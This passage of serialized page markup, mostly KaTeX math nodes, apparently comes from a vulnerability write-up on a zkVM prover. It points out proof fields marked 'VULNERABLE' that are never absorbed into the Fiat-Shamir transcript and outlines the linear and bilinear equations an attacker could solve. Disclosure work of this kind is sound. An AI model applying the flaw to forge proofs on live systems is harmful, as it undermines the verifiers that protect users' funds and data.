17409,117429],{"type":23,"tag":504,"props":117410,"children":117412},{"className":117411,"style":113005},[3020],[117413],{"type":23,"tag":504,"props":117414,"children":117415},{"style":20636},[117416,117420],{"type":23,"tag":504,"props":117417,"children":117419},{"className":117418,"style":3030},[3029],[],{"type":23,"tag":504,"props":117421,"children":117423},{"className":117422},[3035,3036,3037,3038],[117424],{"type":23,"tag":504,"props":117425,"children":117427},{"className":117426},[2988,20569,3038],[117428],{"type":28,"value":2716},{"type":23,"tag":504,"props":117430,"children":117432},{"className":117431},[20726],[117433],{"type":28,"value":20729},{"type":23,"tag":504,"props":117435,"children":117437},{"className":117436},[3015],[117438],{"type":23,"tag":504,"props":117439,"children":117441},{"className":117440,"style":113285},[3020],[117442],{"type":23,"tag":504,"props":117443,"children":117444},{},[],{"type":23,"tag":504,"props":117446,"children":117448},{"className":117447,"style":3108},[3069],[],{"type":23,"tag":504,"props":117450,"children":117452},{"className":117451},[2988,28],[117453],{"type":23,"tag":504,"props":117454,"children":117456},{"className":117455},[2988],[117457],{"type":28,"value":92617},{"type":23,"tag":504,"props":117459,"children":117461},{"className":117460,"style":91798},[2988],[117462],{"type":28,"value":2059},{"type":23,"tag":504,"props":117464,"children":117466},{"className":117465},[2988,28],[117467],{"type":23,"tag":504,"props":117468,"children":117470},{"className":117469},[2988],[117471],{"type":28,"value":117472},"out",{"type":23,"tag":504,"props":117474,"children":117476},{"className":117475,"style":91798},[2988],[117477],{"type":28,"value":2059},{"type":23,"tag":504,"props":117479,"children":117481},{"className":117480},[2988],[117482,117492],{"type":23,"tag":504,"props":117483,"children":117485},{"className":117484},[2988,28],[117486],{"type":23,"tag":504,"props":117487,"children":117489},{"className":117488},[2988],[117490],{"type":28,"value":117491},"evals",{"type":23,"tag":504,"props":117493,"children":117495},{"className":117494},[3005],[117496],{"type":23,"tag":504,"props":117497,"children":117499},{"className":117498},[3010,20623],[117500,117529],{"type":23,"tag":504,"props":117501,"children":117503},{"className":117502},[3015],[117504,117524],{"type":23,"tag":504,"props":117505,"children":117507},{"className":117506,"style":92327},[3020],[117508],{"type":23,"tag":504,"props":117509,"children":117510},{"style":112928},[117511,117515],{"type":23,"tag":504,"props":117512,"children":117514},{"className":117513,"style":3030},[3029],[],{"type":23,"tag":504,"props":117516,"children":117518},{"className":117517},[3035,3036,3037,3038],[117519],{"type":23,"tag":504,"props":117520,"children":117522},{"className":117521},[2988,20569,3038],[117523],{"type":28,"value":2716},{"type":23,"tag":504,"props":117525,"children":117527},{"className":117526},[20726],[117528],{"type":28,"value":20729},{"type":23,"tag":504,"props":117530,"children":117532},{"className":117531},[3015],[117533],{"type":23,"tag":504,"props":117534,"children":117536},{"className":117535,"style":91881},[3020],[117537],{"type":23,"tag":504,"props":117538,"children":117539},{},[],{"type":23,"tag":504,"props":117541,"children":117543},{"className":117542,"style":3167},[3069],[],{"type":23,"tag":504,"props":117545,"children":117547},{"className":117546},[3172],[117548],{"type":28,"value":601},{"type":23,"tag":504,"props":117550,"children":117552},{"className":117551,"style":3167},[3069],[],{"type":23,"tag":504,"props":117554,"children":117556},{"className":117555},[2977],[117557,117562,117619,117623,117632,117637,117646,117651,117713,117717,117722],{"type":23,"tag":504,"props":117558,"children":117561},{"className":117559,"style":117560},[2982],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":23,"tag":504,"props":117563,"children":117565},{"className":117564},[20605],[117566,117571],{"type":23,"tag":504,"props":117567,"children":117569},{"className":117568,"style":20612},[20605,20610,20611],[117570],{"type":28,"value":117396},{"type":23,"tag":504,"props":117572,"children":117574},{"className":117573},[3005],[117575],{"type":23,"tag":504,"props":117576,"children":117578},{"className":117577},[3010,20623],[117579,117608],{"type":23,"tag":504,"props":117580,"children":117582},{"className":117581},[3015],[117583,117603],{"type":23,"tag":504,"props":117584,"children":117586},{"className":117585,"style":113005},[3020],[117587],{"type":23,"tag":504,"props":117588,"children":117589},{"style":20636},[117590,117594],{"type":23,"tag":504,"props":117591,"children":117593},{"className":117592,"style":3030},[3029],[],{"type":23,"tag":504,"props":117595,"children":117597},{"className":117596},[3035,3036,3037,3038],[117598],{"type":23,"tag":504,"props":117599,"children":117601},{"className":117600,"style":113021},[2988,20569,3038],[117602],{"type":28,"value":7640},{"type":23,"tag":504,"props":117604,"children":117606},{"className":117605},[20726],[117607],{"type":28,"value":20729},{"type":23,"tag":504,"props":117609,"children":117611},{"className":117610},[3015],[117612],{"type":23,"tag":504,"props":117613,"children":117615},{"className":117614,"style":113036},[3020],[117616],{"type":23,"tag":504,"props":117617,"children":117618},{},[],{"type":23,"tag":504,"props":117620,"children":117622},{"className":117621,"style":3108},[3069],[],{"type":23,"tag":504,"props":117624,"children":117626},{"className":117625},[2988,28],[117627],{"type":23,"tag":504,"props":117628,"children":117630},{"className":117629},[2988],[117631],{"type":28,"value":48551},{"type":23,"tag":504,"props":117633,"children":117635},{"className":117634,"style":91798},[2988],[117636],{"type":28,"value":2059},{"type":23,"tag":504,"props":117638,"children":117640},{"className":117639},[2988,28],[117641],{"type":23,"tag":504,"props":117642,"children":117644},{"className":117643},[2988],[117645],{"type":28,"value":117472},{"type":23,"tag":504,"props":117647,"children":117649},{"className":117648,"style":91798},[2988],[117650],{"type":28,"value":2059},{"type":23,"tag":504,"props":117652,"children":117654},{"className":117653},[2988],[117655,117664],{"type":23,"tag":504,"props":117656,"children":117658},{"className":117657},[2988,28],[117659],{"type":23,"tag":504,"props":117660,"children":117662},{"className":117661},[2988],[117663],{"type":28,"value":117491},{"type":23,"tag":504,"props":117665,"children":117667},{"className":117666},[3005],[117668],{"type":23,"tag":504,"props":117669,"children":117671},{"className":117670},[3010,20623],[117672,117701],{"type":23,"tag":504,"props":117673,"children":117675},{"className":117674},[3015],[117676,117696],{"type":23,"tag":504,"props":117677,"children":117679},{"className":117678,"style":92327},[3020],[117680],{"type":23,"tag":504,"props":117681,"children":117682},{"style":112928},[117683,117687],{"type":23,"tag":504,"props":117684,"children":117686},{"className":117685,"style":3030},[3029],[],{"type":23,"tag":504,"props":117688,"children":117690},{"className":117689},[3035,3036,3037,3038],[117691],{"type":23,"tag":504,"props":117692,"children":117694},{"className":117693,"style":113021},[2988,20569,3038],[117695],{"type":28,"value":7640},{"type":23,"tag":504,"props":117697,"children":117699},{"className":117698},[20726],[117700],{"type":28,"value":20729},{"type":23,"tag":504,"props":117702,"children":117704},{"className":117703},[3015],[117705],{"type":23,"tag":504,"props":117706,"children":117709},{"className":117707,"style":117708},[3020],"height:0.2861em;",[117710],{"type":23,"tag":504,"props":117711,"children":117712},{},[],{"type":23,"tag":504,"props":117714,"children":117716},{"className":117715,"style":3070},[3069],[],{"type":23,"tag":504,"props":117718,"children":117720},{"className":117719},[3075],[117721],{"type":28,"value":110060},{"type":23,"tag":504,"props":117723,"children":117725},{"className":117724,"style":3070},[3069],[],{"type":23,"tag":504,"props":117727,"children":117729},{"className":117728},[2977],[117730,117734,117739,117749],{"type":23,"tag":504,"props":117731,"children":117733},{"className":117732,"style":3090},[2982],[],{"type":23,"tag":504,"props":117735,"children":117737},{"className":117736},[20698],[117738],{"type":28,"value":526},{"type":23,"tag":504,"props":117740,"children":117742},{"className":117741},[2988,28],[117743],{"type":23,"tag":504,"props":117744,"children":117746},{"className":117745},[2988],[117747],{"type":28,"value":117748},"state factors",{"type":23,"tag":504,"props":117750,"children":117752},{"className":117751},[20720],[117753],{"type":28,"value":2105},{"type":23,"tag":24,"props":117755,"children":117756},{},[117757],{"type":23,"tag":296,"props":117758,"children":117759},{},[117760],{"type":28,"value":114214},{"type":23,"tag":494,"props":117762,"children":117764},{"code":117763},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[117765],{"type":23,"tag":56,"props":117766,"children":117767},{"__ignoreMap":7},[117768],{"type":28,"value":117763},{"type":23,"tag":24,"props":117770,"children":117771},{},[117772,117778,117779,117785,117786,117792],{"type":23,"tag":56,"props":117773,"children":117775},{"className":117774},[],[117776],{"type":28,"value":117777},"r_out_evals",{"type":28,"value":576},{"type":23,"tag":56,"props":117780,"children":117782},{"className":117781},[],[117783],{"type":28,"value":117784},"w_out_evals",{"type":28,"value":5471},{"type":23,"tag":56,"props":117787,"children":117789},{"className":117788},[],[117790],{"type":28,"value":117791},"lk_out_evals",{"type":28,"value":117793}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":23,"tag":41,"props":117795,"children":117796},{},[117797],{"type":23,"tag":45,"props":117798,"children":117799},{},[117800,117805,117807,117813],{"type":23,"tag":296,"props":117801,"children":117802},{},[117803],{"type":28,"value":117804},"GKR/Tower equation",{"type":28,"value":117806}," (linear in ",{"type":23,"tag":56,"props":117808,"children":117810},{"className":117809},[],[117811],{"type":28,"value":117812},"out_evals",{"type":28,"value":22925},{"type":23,"tag":24,"props":117815,"children":117816},{},[117817,117819],{"type":28,"value":117818},"The tower sumcheck claim is ",{"type":23,"tag":56,"props":117820,"children":117822},{"className":117821},[2960,2961],[117823],{"type":23,"tag":504,"props":117824,"children":117826},{"className":117825},[2966],[117827],{"type":23,"tag":504,"props":117828,"children":117830},{"className":117829,"ariaHidden":2972},[2971],[117831,117862,117987],{"type":23,"tag":504,"props":117832,"children":117834},{"className":117833},[2977],[117835,117839,117849,117853,117858],{"type":23,"tag":504,"props":117836,"children":117838},{"className":117837,"style":91713},[2982],[],{"type":23,"tag":504,"props":117840,"children":117842},{"className":117841},[2988,28],[117843],{"type":23,"tag":504,"props":117844,"children":117846},{"className":117845},[2988],[117847],{"type":28,"value":117848},"claim",{"type":23,"tag":504,"props":117850,"children":117852},{"className":117851,"style":3167},[3069],[],{"type":23,"tag":504,"props":117854,"children":117856},{"className":117855},[3172],[117857],{"type":28,"value":601},{"type":23,"tag":504,"props":117859,"children":117861},{"className":117860,"style":3167},[3069],[],{"type":23,"tag":504,"props":117863,"children":117865},{"className":117864},[2977],[117866,117871,117928,117932,117974,117978,117983],{"type":23,"tag":504,"props":117867,"children":117870},{"className":117868,"style":117869},[2982],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":23,"tag":504,"props":117872,"children":117874},{"className":117873},[20605],[117875,117880],{"type":23,"tag":504,"props":117876,"children":117878},{"className":117877,"style":20612},[20605,20610,20611],[117879],{"type":28,"value":107593},{"type":23,"tag":504,"props":117881,"children":117883},{"className":117882},[3005],[117884],{"type":23,"tag":504,"props":117885,"children":117887},{"className":117886},[3010,20623],[117888,117917],{"type":23,"tag":504,"props":117889,"children":117891},{"className":117890},[3015],[117892,117912],{"type":23,"tag":504,"props":117893,"children":117895},{"className":117894,"style":113005},[3020],[117896],{"type":23,"tag":504,"props":117897,"children":117898},{"style":20636},[117899,117903],{"type":23,"tag":504,"props":117900,"children":117902},{"className":117901,"style":3030},[3029],[],{"type":23,"tag":504,"props":117904,"children":117906},{"className":117905},[3035,3036,3037,3038],[117907],{"type":23,"tag":504,"props":117908,"children":117910},{"className":117909,"style":113021},[2988,20569,3038],[117911],{"type":28,"value":7640},{"type":23,"tag":504,"props":117913,"children":117915},{"className":117914},[20726],[117916],{"type":28,"value":20729},{"type":23,"tag":504,"props":117918,"children":117920},{"className":117919},[3015],[117921],{"type":23,"tag":504,"props":117922,"children":117924},{"className":117923,"style":113036},[3020],[117925],{"type":23,"tag":504,"props":117926,"children":117927},{},[],{"type":23,"tag":504,"props":117929,"children":117931},{"className":117930,"style":3108},[3069],[],{"type":23,"tag":504,"props":117933,"children":117935},{"className":117934},[2988],[117936,117941],{"type":23,"tag":504,"props":117937,"children":117939},{"className":117938,"style":113886},[2988,20569],[117940],{"type":28,"value":113889},{"type":23,"tag":504,"props":117942,"children":117944},{"className":117943},[3005],[117945],{"type":23,"tag":504,"props":117946,"children":117948},{"className":117947},[3010],[117949],{"type":23,"tag":504,"props":117950,"children":117952},{"className":117951},[3015],[117953],{"type":23,"tag":504,"props":117954,"children":117957},{"className":117955,"style":117956},[3020],"height:0.8247em;",[117958],{"type":23,"tag":504,"props":117959,"children":117960},{"style":3024},[117961,117965],{"type":23,"tag":504,"props":117962,"children":117964},{"className":117963,"style":3030},[3029],[],{"type":23,"tag":504,"props":117966,"children":117968},{"className":117967},[3035,3036,3037,3038],[117969],{"type":23,"tag":504,"props":117970,"children":117972},{"className":117971,"style":113021},[2988,20569,3038],[117973],{"type":28,"value":7640},{"type":23,"tag":504,"props":117975,"children":117977},{"className":117976,"style":3070},[3069],[],{"type":23,"tag":504,"props":117979,"children":117981},{"className":117980},[3075],[117982],{"type":28,"value":110060},{"type":23,"tag":504,"props":117984,"children":117986},{"className":117985,"style":3070},[3069],[],{"type":23,"tag":504,"props":117988,"children":117990},{"className":117989},[2977],[117991,117995,118004,118009],{"type":23,"tag":504,"props":117992,"children":117994},{"className":117993,"style":93211},[2982],[],{"type":23,"tag":504,"props":117996,"children":117998},{"className":117997},[2988,28],[117999],{"type":23,"tag":504,"props":118000,"children":118002},{"className":118001},[2988],[118003],{"type":28,"value":117472},{"type":23,"tag":504,"props":118005,"children":118007},{"className":118006,"style":91798},[2988],[118008],{"type":28,"value":2059},{"type":23,"tag":504,"props":118010,"children":118012},{"className":118011},[2988],[118013,118022],{"type":23,"tag":504,"props":118014,"children":118016},{"className":118015},[2988,28],[118017],{"type":23,"tag":504,"props":118018,"children":118020},{"className":118019},[2988],[118021],{"type":28,"value":117491},{"type":23,"tag":504,"props":118023,"children":118025},{"className":118024},[3005],[118026],{"type":23,"tag":504,"props":118027,"children":118029},{"className":118028},[3010,20623],[118030,118059],{"type":23,"tag":504,"props":118031,"children":118033},{"className":118032},[3015],[118034,118054],{"type":23,"tag":504,"props":118035,"children":118037},{"className":118036,"style":92327},[3020],[118038],{"type":23,"tag":504,"props":118039,"children":118040},{"style":112928},[118041,118045],{"type":23,"tag":504,"props":118042,"children":118044},{"className":118043,"style":3030},[3029],[],{"type":23,"tag":504,"props":118046,"children":118048},{"className":118047},[3035,3036,3037,3038],[118049],{"type":23,"tag":504,"props":118050,"children":118052},{"className":118051,"style":113021},[2988,20569,3038],[118053],{"type":28,"value":7640},{"type":23,"tag":504,"props":118055,"children":118057},{"className":118056},[20726],[118058],{"type":28,"value":20729},{"type":23,"tag":504,"props":118060,"children":118062},{"className":118061},[3015],[118063],{"type":23,"tag":504,"props":118064,"children":118066},{"className":118065,"style":117708},[3020],[118067],{"type":23,"tag":504,"props":118068,"children":118069},{},[],{"type":23,"tag":24,"props":118071,"children":118072},{},[118073,118075,118080],{"type":28,"value":118074},"This check is linear in ",{"type":23,"tag":56,"props":118076,"children":118078},{"className":118077},[],[118079],{"type":28,"value":117812},{"type":28,"value":320},{"type":23,"tag":41,"props":118082,"children":118083},{"start":540},[118084],{"type":23,"tag":45,"props":118085,"children":118086},{},[118087,118092,118094,118099],{"type":23,"tag":296,"props":118088,"children":118089},{},[118090],{"type":28,"value":118091},"rw-product consistency",{"type":28,"value":118093}," (bilinear in ",{"type":23,"tag":56,"props":118095,"children":118097},{"className":118096},[],[118098],{"type":28,"value":117812},{"type":28,"value":22925},{"type":23,"tag":24,"props":118101,"children":118102},{},[118103],{"type":23,"tag":56,"props":118104,"children":118106},{"className":118105},[2960,2961],[118107],{"type":23,"tag":504,"props":118108,"children":118110},{"className":118109},[2966],[118111],{"type":23,"tag":504,"props":118112,"children":118114},{"className":118113,"ariaHidden":2972},[2971],[118115,118286,118457],{"type":23,"tag":504,"props":118116,"children":118118},{"className":118117},[2977],[118119,118123,118180,118184,118193,118198,118207,118212,118273,118277,118282],{"type":23,"tag":504,"props":118120,"children":118122},{"className":118121,"style":91740},[2982],[],{"type":23,"tag":504,"props":118124,"children":118126},{"className":118125},[20605],[118127,118132],{"type":23,"tag":504,"props":118128,"children":118130},{"className":118129,"style":20612},[20605,20610,20611],[118131],{"type":28,"value":117396},{"type":23,"tag":504,"props":118133,"children":118135},{"className":118134},[3005],[118136],{"type":23,"tag":504,"props":118137,"children":118139},{"className":118138},[3010,20623],[118140,118169],{"type":23,"tag":504,"props":118141,"children":118143},{"className":118142},[3015],[118144,118164],{"type":23,"tag":504,"props":118145,"children":118147},{"className":118146,"style":113005},[3020],[118148],{"type":23,"tag":504,"props":118149,"children":118150},{"style":20636},[118151,118155],{"type":23,"tag":504,"props":118152,"children":118154},{"className":118153,"style":3030},[3029],[],{"type":23,"tag":504,"props":118156,"children":118158},{"className":118157},[3035,3036,3037,3038],[118159],{"type":23,"tag":504,"props":118160,"children":118162},{"className":118161},[2988,20569,3038],[118163],{"type":28,"value":2716},{"type":23,"tag":504,"props":118165,"children":118167},{"className":118166},[20726],[118168],{"type":28,"value":20729},{"type":23,"tag":504,"props":118170,"children":118172},{"className":118171},[3015],[118173],{"type":23,"tag":504,"props":118174,"children":118176},{"className":118175,"style":113285},[3020],[118177],{"type":23,"tag":504,"props":118178,"children":118179},{},[],{"type":23,"tag":504,"props":118181,"children":118183},{"className":118182,"style":3108},[3069],[],{"type":23,"tag":504,"props":118185,"children":118187},{"className":118186},[2988,28],[118188],{"type":23,"tag":504,"props":118189,"children":118191},{"className":118190},[2988],[118192],{"type":28,"value":92617},{"type":23,"tag":504,"props":118194,"children":118196},{"className":118195,"style":91798},[2988],[118197],{"type":28,"value":2059},{"type":23,"tag":504,"props":118199,"children":118201},{"className":118200},[2988,28],[118202],{"type":23,"tag":504,"props":118203,"children":118205},{"className":118204},[2988],[118206],{"type":28,"value":117472},{"type":23,"tag":504,"props":118208,"children":118210},{"className":118209,"style":91798},[2988],[118211],{"type":28,"value":2059},{"type":23,"tag":504,"props":118213,"children":118215},{"className":118214},[2988],[118216,118225],{"type":23,"tag":504,"props":118217,"children":118219},{"className":118218},[2988,28],[118220],{"type":23,"tag":504,"props":118221,"children":118223},{"className":118222},[2988],[118224],{"type":28,"value":117491},{"type":23,"tag":504,"props":118226,"children":118228},{"className":118227},[3005],[118229],{"type":23,"tag":504,"props":118230,"children":118232},{"className":118231},[3010,20623],[118233,118262],{"type":23,"tag":504,"props":118234,"children":118236},{"className":118235},[3015],[118237,118257],{"type":23,"tag":504,"props":118238,"children":118240},{"className":118239,"style":92327},[3020],[118241],{"type":23,"tag":504,"props":118242,"children":118243},{"style":112928},[118244,118248],{"type":23,"tag":504,"props":118245,"children":118247},{"className":118246,"style":3030},[3029],[],{"type":23,"tag":504,"props":118249,"children":118251},{"className":118250},[3035,3036,3037,3038],[118252],{"type":23,"tag":504,"props":118253,"children":118255},{"className":118254},[2988,20569,3038],[118256],{"type":28,"value":2716},{"type":23,"tag":504,"props":118258,"children":118260},{"className":118259},[20726],[118261],{"type":28,"value":20729},{"type":23,"tag":504,"props":118263,"children":118265},{"className":118264},[3015],[118266],{"type":23,"tag":504,"props":118267,"children":118269},{"className":118268,"style":91881},[3020],[118270],{"type":23,"tag":504,"props":118271,"children":118272},{},[],{"type":23,"tag":504,"props":118274,"children":118276},{"className":118275,"style":3167},[3069],[],{"type":23,"tag":504,"props":118278,"children":118280},{"className":118279},[3172],[118281],{"type":28,"value":601},{"type":23,"tag":504,"props":118283,"children":118285},{"className":118284,"style":3167},[3069],[],{"type":23,"tag":504,"props":118287,"children":118289},{"className":118288},[2977],[118290,118294,118351,118355,118364,118369,118378,118383,118444,118448,118453],{"type":23,"tag":504,"props":118291,"children":118293},{"className":118292,"style":117560},[2982],[],{"type":23,"tag":504,"props":118295,"children":118297},{"className":118296},[20605],[118298,118303],{"type":23,"tag":504,"props":118299,"children":118301},{"className":118300,"style":20612},[20605,20610,20611],[118302],{"type":28,"value":117396},{"type":23,"tag":504,"props":118304,"children":118306},{"className":118305},[3005],[118307],{"type":23,"tag":504,"props":118308,"children":118310},{"className":118309},[3010,20623],[118311,118340],{"type":23,"tag":504,"props":118312,"children":118314},{"className":118313},[3015],[118315,118335],{"type":23,"tag":504,"props":118316,"children":118318},{"className":118317,"style":113005},[3020],[118319],{"type":23,"tag":504,"props":118320,"children":118321},{"style":20636},[118322,118326],{"type":23,"tag":504,"props":118323,"children":118325},{"className":118324,"style":3030},[3029],[],{"type":23,"tag":504,"props":118327,"children":118329},{"className":118328},[3035,3036,3037,3038],[118330],{"type":23,"tag":504,"props":118331,"children":118333},{"className":118332,"style":113021},[2988,20569,3038],[118334],{"type":28,"value":7640},{"type":23,"tag":504,"props":118336,"children":118338},{"className":118337},[20726],[118339],{"type":28,"value":20729},{"type":23,"tag":504,"props":118341,"children":118343},{"className":118342},[3015],[118344],{"type":23,"tag":504,"props":118345,"children":118347},{"className":118346,"style":113036},[3020],[118348],{"type":23,"tag":504,"props":118349,"children":118350},{},[],{"type":23,"tag":504,"props":118352,"children":118354},{"className":118353,"style":3108},[3069],[],{"type":23,"tag":504,"props":118356,"children":118358},{"className":118357},[2988,28],[118359],{"type":23,"tag":504,"props":118360,"children":118362},{"className":118361},[2988],[118363],{"type":28,"value":48551},{"type":23,"tag":504,"props":118365,"children":118367},{"className":118366,"style":91798},[2988],[118368],{"type":28,"value":2059},{"type":23,"tag":504,"props":118370,"children":118372},{"className":118371},[2988,28],[118373],{"type":23,"tag":504,"props":118374,"children":118376},{"className":118375},[2988],[118377],{"type":28,"value":117472},{"type":23,"tag":504,"props":118379,"children":118381},{"className":118380,"style":91798},[2988],[118382],{"type":28,"value":2059},{"type":23,"tag":504,"props":118384,"children":118386},{"className":118385},[2988],[118387,118396],{"type":23,"tag":504,"props":118388,"children":118390},{"className":118389},[2988,28],[118391],{"type":23,"tag":504,"props":118392,"children":118394},{"className":118393},[2988],[118395],{"type":28,"value":117491},{"type":23,"tag":504,"props":118397,"children":118399},{"className":118398},[3005],[118400],{"type":23,"tag":504,"props":118401,"children":118403},{"className":118402},[3010,20623],[118404,118433],{"type":23,"tag":504,"props":118405,"children":118407},{"className":118406},[3015],[118408,118428],{"type":23,"tag":504,"props":118409,"children":118411},{"className":118410,"style":92327},[3020],[118412],{"type":23,"tag":504,"props":118413,"children":118414},{"style":112928},[118415,118419],{"type":23,"tag":504,"props":118416,"children":118418},{"className":118417,"style":3030},[3029],[],{"type":23,"tag":504,"props":118420,"children":118422},{"className":118421},[3035,3036,3037,3038],[118423],{"type":23,"tag":504,"props":118424,"children":118426},{"className":118425,"style":113021},[2988,20569,3038],[118427],{"type":28,"value":7640},{"type":23,"tag":504,"props":118429,"children":118431},{"className":118430},[20726],[118432],{"type":28,"value":20729},{"type":23,"tag":504,"props":118434,"children":118436},{"className":118435},[3015],[118437],{"type":23,"tag":504,"props":118438,"children":118440},{"className":118439,"style":117708},[3020],[118441],{"type":23,"tag":504,"props":118442,"children":118443},{},[],{"type":23,"tag":504,"props":118445,"children":118447},{"className":118446,"style":3070},[3069],[],{"type":23,"tag":504,"props":118449,"children":118451},{"className":118450},[3075],[118452],{"type":28,"value":110060},{"type":23,"tag":504,"props":118454,"children":118456},{"className":118455,"style":3070},[3069],[],{"type":23,"tag":504,"props":118458,"children":118460},{"className":118459},[2977],[118461,118465,118470,118479],{"type":23,"tag":504,"props":118462,"children":118464},{"className":118463,"style":3090},[2982],[],{"type":23,"tag":504,"props":118466,"children":118468},{"className":118467},[20698],[118469],{"type":28,"value":526},{"type":23,"tag":504,"props":118471,"children":118473},{"className":118472},[2988,28],[118474],{"type":23,"tag":504,"props":118475,"children":118477},{"className":118476},[2988],[118478],{"type":28,"value":117748},{"type":23,"tag":504,"props":118480,"children":118482},{"className":118481},[20720],[118483],{"type":28,"value":2105},{"type":23,"tag":24,"props":118485,"children":118486},{},[118487,118489,118658,118659,118828],{"type":28,"value":118488},"If we vary ",{"type":23,"tag":56,"props":118490,"children":118492},{"className":118491},[2960,2961],[118493],{"type":23,"tag":504,"props":118494,"children":118496},{"className":118495},[2966],[118497],{"type":23,"tag":504,"props":118498,"children":118500},{"className":118499,"ariaHidden":2972},[2971],[118501,118579],{"type":23,"tag":504,"props":118502,"children":118504},{"className":118503},[2977],[118505,118509,118566,118570,118575],{"type":23,"tag":504,"props":118506,"children":118508},{"className":118507,"style":108768},[2982],[],{"type":23,"tag":504,"props":118510,"children":118512},{"className":118511},[2988],[118513,118518],{"type":23,"tag":504,"props":118514,"children":118516},{"className":118515},[2988,20569],[118517],{"type":28,"value":18257},{"type":23,"tag":504,"props":118519,"children":118521},{"className":118520},[3005],[118522],{"type":23,"tag":504,"props":118523,"children":118525},{"className":118524},[3010,20623],[118526,118555],{"type":23,"tag":504,"props":118527,"children":118529},{"className":118528},[3015],[118530,118550],{"type":23,"tag":504,"props":118531,"children":118533},{"className":118532,"style":91850},[3020],[118534],{"type":23,"tag":504,"props":118535,"children":118536},{"style":91854},[118537,118541],{"type":23,"tag":504,"props":118538,"children":118540},{"className":118539,"style":3030},[3029],[],{"type":23,"tag":504,"props":118542,"children":118544},{"className":118543},[3035,3036,3037,3038],[118545],{"type":23,"tag":504,"props":118546,"children":118548},{"className":118547},[2988,3038],[118549],{"type":28,"value":3001},{"type":23,"tag":504,"props":118551,"children":118553},{"className":118552},[20726],[118554],{"type":28,"value":20729},{"type":23,"tag":504,"props":118556,"children":118558},{"className":118557},[3015],[118559],{"type":23,"tag":504,"props":118560,"children":118562},{"className":118561,"style":91881},[3020],[118563],{"type":23,"tag":504,"props":118564,"children":118565},{},[],{"type":23,"tag":504,"props":118567,"children":118569},{"className":118568,"style":3167},[3069],[],{"type":23,"tag":504,"props":118571,"children":118573},{"className":118572},[3172],[118574],{"type":28,"value":601},{"type":23,"tag":504,"props":118576,"children":118578},{"className":118577,"style":3167},[3069],[],{"type":23,"tag":504,"props":118580,"children":118582},{"className":118581},[2977],[118583,118587,118628,118633,118638,118643,118648,118653],{"type":23,"tag":504,"props":118584,"children":118586},{"className":118585,"style":91740},[2982],[],{"type":23,"tag":504,"props":118588,"children":118590},{"className":118589},[2988],[118591,118600,118605,118614,118619],{"type":23,"tag":504,"props":118592,"children":118594},{"className":118593},[2988,28],[118595],{"type":23,"tag":504,"props":118596,"children":118598},{"className":118597},[2988],[118599],{"type":28,"value":92617},{"type":23,"tag":504,"props":118601,"children":118603},{"className":118602,"style":91798},[2988],[118604],{"type":28,"value":2059},{"type":23,"tag":504,"props":118606,"children":118608},{"className":118607},[2988,28],[118609],{"type":23,"tag":504,"props":118610,"children":118612},{"className":118611},[2988],[118613],{"type":28,"value":117472},{"type":23,"tag":504,"props":118615,"children":118617},{"className":118616,"style":91798},[2988],[118618],{"type":28,"value":2059},{"type":23,"tag":504,"props":118620,"children":118622},{"className":118621},[2988,28],[118623],{"type":23,"tag":504,"props":118624,"children":118626},{"className":118625},[2988],[118627],{"type":28,"value":117491},{"type":23,"tag":504,"props":118629,"children":118631},{"className":118630},[20698],[118632],{"type":28,"value":2711},{"type":23,"tag":504,"props":118634,"children":118636},{"className":118635},[2988],[118637],{"type":28,"value":3001},{"type":23,"tag":504,"props":118639,"children":118641},{"className":118640},[20720],[118642],{"type":28,"value":14391},{"type":23,"tag":504,"props":118644,"children":118646},{"className":118645},[20698],[118647],{"type":28,"value":2711},{"type":23,"tag":504,"props":118649,"children":118651},{"className":118650},[2988],[118652],{"type":28,"value":3001},{"type":23,"tag":504,"props":118654,"children":118656},{"className":118655},[20720],[118657],{"type":28,"value":14391},{"type":28,"value":430},{"type":23,"tag":56,"props":118660,"children":118662},{"className":118661},[2960,2961],[118663],{"type":23,"tag":504,"props":118664,"children":118666},{"className":118665},[2966],[118667],{"type":23,"tag":504,"props":118668,"children":118670},{"className":118669,"ariaHidden":2972},[2971],[118671,118749],{"type":23,"tag":504,"props":118672,"children":118674},{"className":118673},[2977],[118675,118679,118736,118740,118745],{"type":23,"tag":504,"props":118676,"children":118678},{"className":118677,"style":108768},[2982],[],{"type":23,"tag":504,"props":118680,"children":118682},{"className":118681},[2988],[118683,118688],{"type":23,"tag":504,"props":118684,"children":118686},{"className":118685},[2988,20569],[118687],{"type":28,"value":18257},{"type":23,"tag":504,"props":118689,"children":118691},{"className":118690},[3005],[118692],{"type":23,"tag":504,"props":118693,"children":118695},{"className":118694},[3010,20623],[118696,118725],{"type":23,"tag":504,"props":118697,"children":118699},{"className":118698},[3015],[118700,118720],{"type":23,"tag":504,"props":118701,"children":118703},{"className":118702,"style":91850},[3020],[118704],{"type":23,"tag":504,"props":118705,"children":118706},{"style":91854},[118707,118711],{"type":23,"tag":504,"props":118708,"children":118710},{"className":118709,"style":3030},[3029],[],{"type":23,"tag":504,"props":118712,"children":118714},{"className":118713},[3035,3036,3037,3038],[118715],{"type":23,"tag":504,"props":118716,"children":118718},{"className":118717},[2988,3038],[118719],{"type":28,"value":2991},{"type":23,"tag":504,"props":118721,"children":118723},{"className":118722},[20726],[118724],{"type":28,"value":20729},{"type":23,"tag":504,"props":118726,"children":118728},{"className":118727},[3015],[118729],{"type":23,"tag":504,"props":118730,"children":118732},{"className":118731,"style":91881},[3020],[118733],{"type":23,"tag":504,"props":118734,"children":118735},{},[],{"type":23,"tag":504,"props":118737,"children":118739},{"className":118738,"style":3167},[3069],[],{"type":23,"tag":504,"props":118741,"children":118743},{"className":118742},[3172],[118744],{"type":28,"value":601},{"type":23,"tag":504,"props":118746,"children":118748},{"className":118747,"style":3167},[3069],[],{"type":23,"tag":504,"props":118750,"children":118752},{"className":118751},[2977],[118753,118757,118798,118803,118808,118813,118818,118823],{"type":23,"tag":504,"props":118754,"children":118756},{"className":118755,"style":91740},[2982],[],{"type":23,"tag":504,"props":118758,"children":118760},{"className":118759},[2988],[118761,118770,118775,118784,118789],{"type":23,"tag":504,"props":118762,"children":118764},{"className":118763},[2988,28],[118765],{"type":23,"tag":504,"props":118766,"children":118768},{"className":118767},[2988],[